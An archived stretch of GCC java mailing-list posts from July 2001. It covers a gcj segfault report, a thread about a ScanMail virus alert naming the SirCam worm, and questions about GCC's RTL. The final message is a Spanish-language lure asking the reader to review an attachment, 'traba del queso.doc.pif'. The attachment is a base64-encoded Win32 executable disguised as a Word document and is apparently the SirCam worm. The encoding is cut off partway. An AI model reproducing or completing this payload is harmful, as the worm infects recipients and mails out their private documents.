------_=_NextPart_001_01C11313.1AF14D54-- From java-return-6565-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 23 05:24:19 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 19581 invoked by alias); 23 Jul 2001 05:24:19 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 19540 invoked from network); 23 Jul 2001 05:24:14 -0000 Received: from unknown (HELO min.ecn.purdue.edu) (128.46.200.41) by sourceware.cygnus.com with SMTP; 23 Jul 2001 05:24:14 -0000 Received: from localhost (ake@localhost) by min.ecn.purdue.edu (8.11.3/moyman) with ESMTP id f6N5OA602092 for ; Mon, 23 Jul 2001 00:24:10 -0500 (EST) Date: Mon, 23 Jul 2001 00:24:10 -0500 (EST) From: Antonio Ake To: Subject: testing on Alpha Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello I compiled jvm98 on Alpha OSF1. I am working with Jul-02 snapshot. I had 2 internal errors. I would like that someone else test the programs in another architecture. Note: jvm98 doesn't have the source files for this 2 files: Error #1 >>>> gcj -c spec/benchmarks/_228_jack/ParseGen.class spec/benchmarks/_228_jack/ParseGen.class: In method `_GLOBAL__I__ZN4spec10benchmarks9_228_jack8ParseGen18buildPhase1RoutineEPNS1_13BNFProductionE()': spec/benchmarks/_228_jack/ParseGen.class:0: Internal error: Segmentation fault >>>> gcj -c spec/benchmarks/_213_javac/Instruction.class spec/benchmarks/_213_javac/Instruction.class: In method `_GLOBAL__I__ZN4spec10benchmarks10_213_javac11InstructionC1EiiPN4java4lang6ObjectE()': spec/benchmarks/_213_javac/Instruction.class:0: Internal error: Segmentation fault http://www.cis.udel.edu/~hiper/javabenches/_213_javac/ http://www.cis.udel.edu/~hiper/javabenches/_228_jack/ From java-return-6566-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 23 11:34:07 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 2982 invoked by alias); 23 Jul 2001 11:34:07 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 2935 invoked from network); 23 Jul 2001 11:34:05 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by sourceware.cygnus.com with SMTP; 23 Jul 2001 11:34:05 -0000 Received: from cuddles.cambridge.redhat.com (cuddles.cambridge.redhat.com [172.16.18.86]) by executor.cambridge.redhat.com (Postfix) with ESMTP id B23AFABAA1; Mon, 23 Jul 2001 12:34:04 +0100 (BST) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.0/8.11.0) id f6NBY4d03893; Mon, 23 Jul 2001 12:34:04 +0100 X-Authentication-Warning: cuddles.cambridge.redhat.com: aph set sender to aph@cambridge.redhat.com using -f From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15196.2988.666221.218923@cuddles.cambridge.redhat.com> Date: Mon, 23 Jul 2001 12:34:04 +0100 (BST) To: "'java@gcc.gnu.org'" Subject: ScanMail Message: To Recipient virus found and action taken. In-Reply-To: References: X-Mailer: VM 6.75 under Emacs 20.7.1 System Attendant writes: > ScanMail for Microsoft Exchange has detected virus-infected attachment(s). > > Sender = al valente > Recipient(s) = java@gcc.gnu.org > Subject = Sheila Resume > Scanning Time = 07/22/2001 20:02:06 Now, this is a very cool service for a mailing list. I am impressed... Andrew. From java-return-6567-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 23 14:30:05 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 3693 invoked by alias); 23 Jul 2001 14:30:04 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 3654 invoked from network); 23 Jul 2001 14:30:01 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 23 Jul 2001 14:30:01 -0000 Received: from locutus (locutus.cygnus.com [205.180.230.91]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with SMTP id HAA00113; Mon, 23 Jul 2001 07:29:58 -0700 (PDT) Message-ID: <013801c11384$4fb29900$5be6b4cd@cygnus.com> From: "Anthony Green" To: "Andrew Haley" , References: <15196.2988.666221.218923@cuddles.cambridge.redhat.com> Subject: Re: ScanMail Message: To Recipient virus found and action taken. Date: Mon, 23 Jul 2001 07:32:32 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Andrew wrote: > Now, this is a very cool service for a mailing list. I am impressed... Ya! That was the SirCam virus I read about today on Slashdot. It's really nasty (to Windows users, at least)... when activated it will mail out random documents from your "My Documents" folder to people in your address book. "Sheila Resume" is an example of this :-) AG From java-return-6568-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 23 17:03:02 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 6853 invoked by alias); 23 Jul 2001 17:03:02 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 6815 invoked from network); 23 Jul 2001 17:02:59 -0000 Received: from unknown (HELO brainy1.ie-eg.com) (194.79.96.40) by sourceware.cygnus.com with SMTP; 23 Jul 2001 17:02:59 -0000 Received: from momara ([213.154.48.18]) by brainy1.ie-eg.com (8.9.3/8.9.3) with SMTP id UAA05397 for ; Mon, 23 Jul 2001 20:06:11 +0300 (EET DST) Message-ID: <03f001c11399$5228e3a0$1e01000a@ellipsisdigital.com> From: "Mohammad O'mara" To: Subject: RTL Date: Mon, 23 Jul 2001 20:02:02 +0300 Organization: Information Technology Institute MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_03EB_01C113B2.5695AA40" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 This is a multi-part message in MIME format. ------=_NextPart_000_03EB_01C113B2.5695AA40 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I need to know the real benfit behind the RTL generation in GCC .. is it = used for optimization ? .. or just to represent the code in RTL format ? = .. and how can I make use of this format if i'm talking about the RTL = that concerns the Hardware design ? ..=20 also , I read that RTL generated in the GCC is vey platform dependant ! = .. so , how can one generalize it ?=20 ------=_NextPart_000_03EB_01C113B2.5695AA40 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I need to know the real benfit behind = the RTL=20 generation in GCC .. is it used for optimization ? .. or just to = represent the=20 code in RTL format ? .. and how can I make use of this format if i'm = talking=20 about the RTL that concerns the Hardware design ? ..
also , I read that RTL generated in the = GCC is vey=20 platform dependant ! .. so , how can one generalize it ?=20
------=_NextPart_000_03EB_01C113B2.5695AA40-- From java-return-6569-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 23 18:46:26 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 2809 invoked by alias); 23 Jul 2001 18:46:23 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 2726 invoked from network); 23 Jul 2001 18:46:18 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 23 Jul 2001 18:46:18 -0000 Received: from locutus (locutus.cygnus.com [205.180.230.91]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with SMTP id LAA27224; Mon, 23 Jul 2001 11:46:02 -0700 (PDT) Message-ID: <066101c113a8$14ea08c0$5be6b4cd@cygnus.com> From: "Anthony Green" To: "Mohammad O'mara" , References: <03f001c11399$5228e3a0$1e01000a@ellipsisdigital.com> Subject: Re: RTL Date: Mon, 23 Jul 2001 11:48:35 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_065E_01C1136D.678F6BA0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 This is a multi-part message in MIME format. ------=_NextPart_000_065E_01C1136D.678F6BA0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable The RTL representation used in GCC is very different from the RTL used = in hardware design. It's one of the intermediate formats used by the = compiler during optimization/code generation. What are you trying to = do? AG ----- Original Message -----=20 From: Mohammad O'mara=20 To: java@gcc.gnu.org=20 Sent: Monday, July 23, 2001 10:02 AM Subject: RTL I need to know the real benfit behind the RTL generation in GCC .. is = it used for optimization ? .. or just to represent the code in RTL = format ? .. and how can I make use of this format if i'm talking about = the RTL that concerns the Hardware design ? ..=20 also , I read that RTL generated in the GCC is vey platform dependant = ! .. so , how can one generalize it ?=20 ------=_NextPart_000_065E_01C1136D.678F6BA0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
The RTL representation used in GCC is = very=20 different from the RTL used in hardware design.  It's one of the=20 intermediate formats used by the compiler during optimization/code=20 generation.  What are you trying to do?
 
AG
----- Original Message -----
From:=20 Mohammad=20 O'mara
Sent: Monday, July 23, 2001 = 10:02=20 AM
Subject: RTL

I need to know the real benfit behind = the RTL=20 generation in GCC .. is it used for optimization ? .. or just to = represent the=20 code in RTL format ? .. and how can I make use of this format if i'm = talking=20 about the RTL that concerns the Hardware design ? ..
also , I read that RTL generated in = the GCC is=20 vey platform dependant ! .. so , how can one generalize it ?=20
------=_NextPart_000_065E_01C1136D.678F6BA0-- From java-return-6570-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 23 18:53:56 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 11442 invoked by alias); 23 Jul 2001 18:53:54 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 11403 invoked from network); 23 Jul 2001 18:53:51 -0000 Received: from unknown (HELO brainy1.ie-eg.com) (194.79.96.40) by sourceware.cygnus.com with SMTP; 23 Jul 2001 18:53:51 -0000 Received: from momara ([213.154.48.18]) by brainy1.ie-eg.com (8.9.3/8.9.3) with SMTP id VAA16792; Mon, 23 Jul 2001 21:56:54 +0300 (EET DST) Message-ID: <045301c113a8$ca335600$1e01000a@ellipsisdigital.com> From: "Mohammad O'mara" To: "Anthony Green" , References: <03f001c11399$5228e3a0$1e01000a@ellipsisdigital.com> <066101c113a8$14ea08c0$5be6b4cd@cygnus.com> Subject: Re: RTL Date: Mon, 23 Jul 2001 21:52:29 +0300 Organization: Information Technology Institute MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0450_01C113C1.C4B16320" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 This is a multi-part message in MIME format. ------=_NextPart_000_0450_01C113C1.C4B16320 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable actually I need to make use of it to optimize my java code .. how can i = use the RTL presentation and generation in my optimization ? ----- Original Message -----=20 From: Anthony Green=20 To: Mohammad O'mara ; java@gcc.gnu.org=20 Sent: Monday, July 23, 2001 9:48 PM Subject: Re: RTL The RTL representation used in GCC is very different from the RTL used = in hardware design. It's one of the intermediate formats used by the = compiler during optimization/code generation. What are you trying to = do? =20 AG ----- Original Message -----=20 From: Mohammad O'mara=20 To: java@gcc.gnu.org=20 Sent: Monday, July 23, 2001 10:02 AM Subject: RTL I need to know the real benfit behind the RTL generation in GCC .. = is it used for optimization ? .. or just to represent the code in RTL = format ? .. and how can I make use of this format if i'm talking about = the RTL that concerns the Hardware design ? ..=20 also , I read that RTL generated in the GCC is vey platform = dependant ! .. so , how can one generalize it ?=20 ------=_NextPart_000_0450_01C113C1.C4B16320 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
actually I need to make use of it to = optimize my=20 java code .. how can i use the RTL presentation and generation in my=20 optimization ?
----- Original Message -----
From:=20 Anthony = Green=20
To: Mohammad=20 O'mara ; java@gcc.gnu.org
Sent: Monday, July 23, 2001 = 9:48 PM
Subject: Re: RTL

The RTL representation used in GCC is = very=20 different from the RTL used in hardware design.  It's one of the=20 intermediate formats used by the compiler during optimization/code=20 generation.  What are you trying to do?
 
AG
----- Original Message -----
From:=20 Mohammad O'mara
Sent: Monday, July 23, 2001 = 10:02=20 AM
Subject: RTL

I need to know the real benfit = behind the RTL=20 generation in GCC .. is it used for optimization ? .. or just to = represent=20 the code in RTL format ? .. and how can I make use of this format if = i'm=20 talking about the RTL that concerns the Hardware design ? .. =
also , I read that RTL generated in = the GCC is=20 vey platform dependant ! .. so , how can one generalize it ?=20
------=_NextPart_000_0450_01C113C1.C4B16320-- From java-return-6571-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 24 05:43:55 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 13474 invoked by alias); 24 Jul 2001 05:43:52 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 13378 invoked from network); 24 Jul 2001 05:43:39 -0000 Received: from unknown (HELO mail.cablenet.com.ni) (200.12.228.3) by sourceware.cygnus.com with SMTP; 24 Jul 2001 05:43:39 -0000 Received: from incerbro.cablenet.com.ni (nat7.cablenet.com.ni [200.12.228.135]) by mail.cablenet.com.ni (8.11.4/8.11.4) with SMTP id f6NHpNG13545 for ; Mon, 23 Jul 2001 23:51:24 +0600 (GMT) Message-Id: <200107231751.f6NHpNG13545@mail.cablenet.com.ni> From: "carolina" To: java@gcc.gnu.org Subject: traba del queso date: Mon, 23 Jul 2001 23:51:59 -0500 MIME-Version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Mailer: Microsoft Outlook Express 5.50.4133.2400 Content-Type: multipart/mixed; boundary="----6D8D277C_Outlook_Express_message_boundary" Content-Disposition: Multipart message ------6D8D277C_Outlook_Express_message_boundary Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: message text Hola como estas =3F Te mando este archivo para que me des tu punto de vista Nos vemos pronto=2C gracias=2E ------6D8D277C_Outlook_Express_message_boundary Content-Type: application/mixed; name="traba del queso.doc.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="traba del queso.doc.pif" TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5k ZXIgV2luMzINCiQ3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABMAQgAGV5CKgAA AAAAAAAA4ACOgQsBAhkAqAEAAGwAAAAAAACkqQEAABAAAADAAQAAAEAAABAAAAACAAABAAAA AAAAAAQAAAAAAAAAAIACAAAEAAAAAAAAAgAAAAAAEAAAQAAAAAAQAAAQAAAAAAAAEAAAAAAA AAAAAAAAAPABAK4RAAAAYAIAABgAAAAAAAAAAAAAAAAAAAAAAAAAMAIAOCAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAgAgAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAQ09ERQAAAACQpwEAABAAAACoAQAABAAAAAAAAAAAAAAAAAAA IAAAYERBVEEAAAAAlBwAAADAAQAAHgAAAKwBAAAAAAAAAAAAAAAAAEAAAMBCU1MAAAAAACUP AAAA4AEAAAAAAADKAQAAAAAAAAAAAAAAAAAAAADALmlkYXRhAACuEQAAAPABAAASAAAAygEA AAAAAAAAAAAAAAAAQAAAwC50bHMAAAAADAAAAAAQAgAAAAAAANwBAAAAAAAAAAAAAAAAAAAA AMAucmRhdGEAABgAAAAAIAIAAAIAAADcAQAAAAAAAAAAAAAAAABAAABQLnJlbG9jAAA4IAAA ADACAAAiAAAA3gEAAAAAAAAAAAAAAAAAQAAAUC5yc3JjAAAAABgAAABgAgAAGAAAAAACAAAA AAAAAAAAAAAAAEAAAFAAAAAAAAAAAAAAAAAAgAIAAAAAAAAYAgAAAAAAAAAAAAAAAABAAABQ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQQ QAAKBlN0cmluZ1gQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWBBAAAQAAAAAAAAA oCxAAKwsQACwLEAAtCxAAKgsQABwK0AAhCtAAMwrQAAHVE9iamVjdGQQQAAHB1RPYmplY3RY EEAAAAAAAAAABlN5c3RlbQAAhBBAAA8ISVVua25vd24AAAAAAQAAAAAAAAAAwAAAAAAAAEYG U3lzdGVtAAD/JbjxQQCLwP8ltPFBAIvA/yWw8UEAi8D/JazxQQCLwP8lqPFBAIvA/yWk8UEA i8D/JaDxQQCLwP8lnPFBAIvA/yWY8UEAi8D/JZTxQQCLwP8lkPFBAIvA/yWM8UEAi8D/JYjx QQCLwP8lzPFBAIvA/yWE8UEAi8D/JcjxQQCLwP8lgPFBAIvA/yV88UEAi8D/JXjxQQCLwP8l dPFBAIvA/yVw8UEAi8D/JWzxQQCLwP8laPFBAIvA/yVk8UEAi8D/JWDxQQCLwP8lXPFBAIvA /yVY8UEAi8D/JVTxQQCLwP8lxPFBAIvA/yVQ8UEAi8D/JUzxQQCLwP8lSPFBAIvA/yVE8UEA i8D/JdzxQQCLwP8l2PFBAIvA/yXU8UEAi8D/JUDxQQCLwP8lPPFBAIvA/yX88UEAi8D/Jfjx QQCLwP8l9PFBAIvA/yXw8UEAi8D/JezxQQCLwP8l6PFBAIvA/yXk8UEAi8BTg8S8uwoAAABU 6FH////2RCQsAXQFD7dcJDCLw4PERFvDi8D/JTjxQQCLwP8lNPFBAIvA/yUw8UEAi8D/JSzx QQCLwP8lKPFBAIvA/yUk8UEAi8D/JSDxQQCLwP8lHPFBAIvAU1a+TORBAIM+AHU6aEQGAABq AOio////i8iFyXUFM8BeW8OhSORBAIkBiQ1I5EEAM9KLwgPAjUTBBIseiRiJBkKD+mR17IsG ixCJFl5bw5CJAIlABMOLwFNWi/KL2Oid////hcB1BTPAXlvDixaJUAiLVgSJUAyLE4kQiVgE iUIEiQOwAV5bw4tQBIsIiQqJUQSLFUzkQQCJEKNM5EEAw1NWV1VRi/GJFCSL6ItdAIsEJIsQ iRaLUASJVgSLO4tDCIvQA1MMOxZ1FIvD6Lf///+LQwiJBotDDAFGBOsWixYDVgQ7wnUNi8Po mv///4tDDAFGBIvfO+t1wovWi8XoVf///4TAdQQzwIkGWl1fXlvDjUAAU1ZXVYPE+IvYi/uL MotDCDvwcmyLzgNKBIvoA2sMO813XjvwdRuLQgQBQwiLQgQpQwyDewwAdUSLw+g1////6zuL CotyBAPOi/gDeww7z3UFKXMM6yaLCgNKBIkMJCv5iXwkBIsSK9CJUwyL1IvD6ND+//+EwHUE M8DrDLAB6wiLGzv7dYUzwFlaXV9eW8OQU1ZXi9qL8IH+AAAQAH0HvgAAEADrDIHG//8AAIHm AAD//4lzBGoBaAAgAABWagDo+P3//4v4iTuF/3Qji9O4UORBAOhs/v//hMB1E2gAgAAAagCL A1Do2f3//zPAiQNfXlvDkFNWV1WL2Yvyi+jHQwQAABAAagRoACAAAGgAABAAVeil/f//i/iJ O4X/dR+Bxv//AACB5gAA//+JcwRqBGgAIAAAVlXogP3//4kDgzsAdCOL07hQ5EEA6PX9//+E wHUTaACAAABqAIsDUOhi/f//M8CJA11fXlvDkFNWV1WDxOyJTCQEiRQkx0QkCP////8z0olU JAyL6IsEJAPFiUQkEIsdUORBAOtRizuLcwg77ndGi8YDQww7RCQQdzs7dCQIcwSJdCQIi8YD Qww7RCQMdgSJRCQMaACAAABqAFbo7/z//4XAdQrHBSzkQQABAAAAi8Poiv3//4vfgftQ5EEA daeLRCQEM9KJEIN8JAwAdBmLRCQEi1QkCIkQi0QkDCtEJAiLVCQEiUIEg8QUXV9eW8NTVldV g8T0iUwkBIkUJIvQi+qB5QDw//8DFCSBwv8PAACB4gDw//+JVCQIi0QkBIkoi0QkCCvFi1Qk BIlCBIs1UORBAOs8i14Ii34MA/s763YCi907fCQIdgSLfCQIO/t2HmoEaAAQAAAr+1dT6Cb8 //+FwHUKi0QkBDPSiRDrCos2gf5Q5EEAdbyDxAxdX15bw4vAU1ZXVVGL2Ivzgcb/DwAAgeYA 8P//iTQki+sD6oHlAPD//4sEJIkBi8UrBCSJQQSLNVDkQQDrOIteCIt+DAP7OxwkcwOLHCQ7 73MCi/07+3YcaABAAAAr+1dT6K37//+FwHUKxwUs5EEAAgAAAIs2gf5Q5EEAdcBaXV9eW8ON QABTVldVg8T4i/KL+L1g5EEAgcf/PwAAgecAwP//i10A6zM7ewx/LIvOi9eLQwjouv7//4M+ AHRQi0YEAUMIi0YEKUMMg3sMAHU+i8Po7Pv//+s1ixs73XXJi9aLx+j3/P//gz4AdCGLzIvW i8Xo4/v//4M8JAB1pYvMi1YEiwbosf3//zPAiQZZWl1fXlvDi8BTVldVg8TsiQwki/qL8L1g 5EEAgcf/PwAAgecAwP//i10A6wKLGzvddAU7cwh19TtzCHVXO3sMD46WAAAAjUwkBIvXK1MM i0MIA0MM6Nv8//+DfCQEAHQzjUwkDI1UJASLxehd+///g3wkDAB1sY1MJAyLVCQIi0QkBOgl /f//iwQkM9KJEOmQAAAAjUwkBIvXi8bolPz//4N8JAQAdDSNTCQMjVQkBIvF6Bb7//+DfCQM AA+FZv///41MJAyLVCQIi0QkBOja/P//iwQkM9KJEOtIi2sIO/V1Ojt7DH81iwwki9eLxehx /f//iwQkgzgAdCiLBCSLQAQBQwiLBCSLQAQpQwyDewwAdRCLw+ia+v//6weLBCQz0okQg8QU XV9eW8OQU1ZXg8Tsi/mJFCSNmP8/AACB4wDA//+LNCQD8IHmAMD//zvec1uLz4vWK9OLw+iZ /f//jUwkBIvXuGDkQQDoXfr//4tcJASF23QfjUwkDItUJAiLw+gm/P//i0QkDIlEJASLRCQQ iUQkCIN8JAQAdBSNVCQEuGDkQQDolfr//+sEM8CJB4PEFF9eW8NVi+wz0lVouhlAAGT/MmSJ Imgw5EEA6Dn5//+APUHgQQAAdApoMORBAOgu+f//uFDkQQDojPn//7hg5EEA6IL5//+4jORB AOh4+f//aPgPAABqAOjc+P//o4jkQQCDPYjkQQAAdC+4AwAAAIsViORBADPJiUyC9EA9AQQA AHXsuHDkQQCJQASJAKN85EEAxgUo5EEAATPAWllZZIkQaMEZQACAPUHgQQAAdApoMORBAOiv +P//w+mhFQAA6+WgKORBAF3DVYvsU4A9KORBAAAPhMwAAAAz0lVonhpAAGT/MmSJIoA9QeBB AAB0Cmgw5EEA6Gb4///GBSjkQQAAoYjkQQBQ6DT4//8zwKOI5EEAix1Q5EEA6xJoAIAAAGoA i0MIUOgl+P//ixuB+1DkQQB15rhQ5EEA6In4//+4YORBAOh/+P//uIzkQQDodfj//6FI5EEA hcB0F4sQiRVI5EEAUOjW9///oUjkQQCFwHXpM8BaWVlkiRBopRpAAIA9QeBBAAB0Cmgw5EEA 6NX3//9oMORBAOjT9///w+m9FAAA69tbXcNTOwV85EEAdQmLUASJFXzkQQCLUASLSAiB+QAQ AAB/ODvCdReFyXkDg8EDwfkCoYjkQQAz0olUiPTrJIXJeQODwQPB+QKLHYjkQQCJVIv0iwCJ AolQBFvDiwCJAolQBFvDjUAAixWM5EEA6xCLSgg7wXIHA0oMO8FyFosSgfqM5EEAdejHBSzk QQADAAAAM9KLwsOQU4vKg+kEjRwBg/oQfA/HAwcAAICL0eihAQAAW8OD+gR8DIvKgckCAACA iQiJC1vD/wUc5EEAi9CD6gSLEoHi/P//f4PqBAEVIORBAOjTBQAAw4vAg/oMfA6DygKJEIPA BOjK////w4P6BHwKi8qByQIAAICJCAPCgyD+w1NWi9CD6gSLEovKgeECAACAgfkCAACAdArH BSzkQQAEAAAAi9qB4/z//38rw4vIMxH3wv7///90CscFLORBAAUAAAD2AQF0IIvQg+oMi3II K8Y7cAh0CscFLORBAAYAAADoiv7//wPei8NeW8ONQABTVleL2DP/iwOpAAAAgHQLJfz//38D +APYiwOoAnUTi/OLxuhY/v//i0YIA/gD2IMj/ovHX15bw1NWV1WDxPiL+ovwi8bomv7//4vY i2sIi8UDQwyL0I0MNyvRg/oMfwSL+Cv+i8YrxYP4DH0Si8yL1itTCAPXi8Xo0/v//+sPi8yL 14PqBI1GBOjC+///iywkhe11BDPA6zCL1SvWi8bocP7//4vFA0QkBItTCANTDDvCcwqNFDcr 0Oiq/v//i9SLw+id9v//sAFZWl1fXlvDU1ZXi/KL+IvfiXMIi8MDxoPoDIlwCIH+ABAAAH83 i9aF0nkDg8IDwfoCoYjkQQCLRJD0hcB1EKGI5EEAiVyQ9IlbBIkb6zqLEIlDBIkTiRiJWgTr LIH+ADwAAHwNi9aLx+gC////hMB1F6F85EEAiR185EEAixCJQwSJE4kYiVoEX15bw41AAIM9 gORBAAB+QIM9gORBAAx9DMcFLORBAAcAAADrK6GA5EEAg8gCixWE5EEAiQKhhORBAIPABOix /f//M8CjhORBADPAo4DkQQDDi8BTVleDxPCL8I08JKWli/zooP///41MJAiL17iM5EEA6Cj1 //+LXCQIhdt1BDPA61KLBzvYcwrosf3//ykHAUcEiwcDRwSL8wN0JAw7xnMI6Aj+//8BRwSL BwNHBDvwdRGD6AS6BAAAAOgD/f//g28EBIsHo4TkQQCLRwSjgORBALABg8QQX15bw41AAFOD xPiL2IvUjUME6Fz4//+DPCQAdAuLxOhX////hMB1BDPA6wKwAVlaW8OQU1aDxPiL8ovYi8yN VgSLw+i7+P//gzwkAHQLi8ToJv///4TAdQQzwOsCsAFZWl5bw41AADPShcB5A4PAA8H4Aj0A BAAAfxaLFYjkQQCLVIL0hdJ1CEA9AQQAAHXqi8LDU1ZXVYvwv3zkQQC9gORBAIsddORBADtz CA+OhAAAAIsfi0MIO/B+e4lzCItbBDtzCH/4ixeJQgg7H3QEiR/rY4H+ABAAAH8Ni8bohf// /4vYhdt1TovG6Bj///+EwHUHM8DpiAAAADt1AH+kKXUAg30ADH0IA3UAM8CJRQChhORBAAE1 hORBAIvWg8oCiRCDwAT/BRzkQQCD7gQBNSDkQQDrTIvD6Br7//+LUwiLwivGg/gMfAyL0wPW kuhU/f//6xKL8jsfdQWLQwSJB4vDA8aDIP6Lw4vWg8oCiRCDwAT/BRzkQQCD7gQBNSDkQQBd X15bw1WL7IPE+FNWV4vYgD0o5EEAAHUT6BP5//+EwHUKM8CJRfzpVAEAADPJVWhMIUAAZP8x ZIkhgD1B4EEAAHQKaDDkQQDoQPL//4PDB4Pj/IP7DH0FuwwAAACB+wAQAAAPj5MAAACLw4XA eQODwAPB+AKLFYjkQQCLVIL0hdJ0eYvyi8YDw4Mg/otCBDvQdRqLw4XAeQODwAPB+AKLDYjk QQAz/4l8gfTrJovLhcl5A4PBA8H5Aos9iORBAIlEj/SLColN+ItN+IlBBItN+IkIi8aLUgiD ygKJEIPABIlF/P8FHORBAIPrBAEdIORBAOhuDwAA6YQAAAA7HYDkQQB/SikdgORBAIM9gORB AAx9DQMdgORBADPAo4DkQQChhORBAAEdhORBAIvTg8oCiRCDwASJRfz/BRzkQQCD6wQBHSDk QQDoGQ8AAOsyi8PovP3//4lF/DPAWllZZIkQaFMhQACAPUHgQQAAdApoMORBAOgd8f//w+kP DgAA6+WLRfxfXltZWV3DjUAAVYvsUVNWV4vYM8CjLORBAIA9KORBAAB1H+iG9///hMB1FscF LORBAAgAAADHRfwIAAAA6WEBAAAzyVVo8iJAAGT/MWSJIYA9QeBBAAB0Cmgw5EEA6Kfw//+L 84PuBIse9sMCdQ/HBSzkQQAJAAAA6fUAAAD/DRzkQQCLwyX8//9/g+gEKQUg5EEA9sMBdEWL 